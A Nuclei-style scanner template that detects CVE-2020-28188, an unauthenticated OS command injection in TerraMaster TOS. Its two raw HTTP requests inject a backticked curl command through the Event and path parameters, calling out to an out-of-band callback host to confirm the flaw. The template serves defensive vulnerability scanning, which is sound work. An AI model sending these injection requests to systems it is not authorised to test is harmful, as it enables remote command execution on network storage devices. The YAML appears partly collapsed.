id: CVE-2020-28188
info:
name: TerraMaster TOS - Unauthenticated Remote Command Execution
author: gy741
severity: critical
description: TerraMaster TOS <= 4.2.06 is susceptible to a remote code execution vulnerability which could allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php via the Event parameter.
remediation: |
Apply the latest security patch or update provided by TerraMaster to fix the vulnerability.
reference:
- https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
- https://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html
- https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
- https://nvd.nist.gov/vuln/detail/CVE-2020-28188
- http://packetstormsecurity.com/files/172880/TerraMaster-TOS-4.2.06-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-28188
cwe-id: CWE-78
epss-score: 0.9724
epss-percentile: 0.99779
cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: terra-master
product: tos
tags: packetstorm,cve,cve2020,terramaster,rce,oast,mirai,unauth
variables:
useragent: '{{rand_base(6)}}'
http:
- raw:
- |
GET /include/makecvs.php?Event=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
Host: {{Hostname}}
GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
part: interactsh_request
- "User-Agent: {{useragent}}"
# digest: 4a0a0047304502204bb02ef830a1872b0a6f24394d7d0de717296a048ad5ecc1b1cf594ea27dead1022100df64c79c90a8f621ea7d8fbc8a744bcabf1d28e4239f90983a2f9bfc720b62b8:922c64590222798bb761d5b6d8e72950
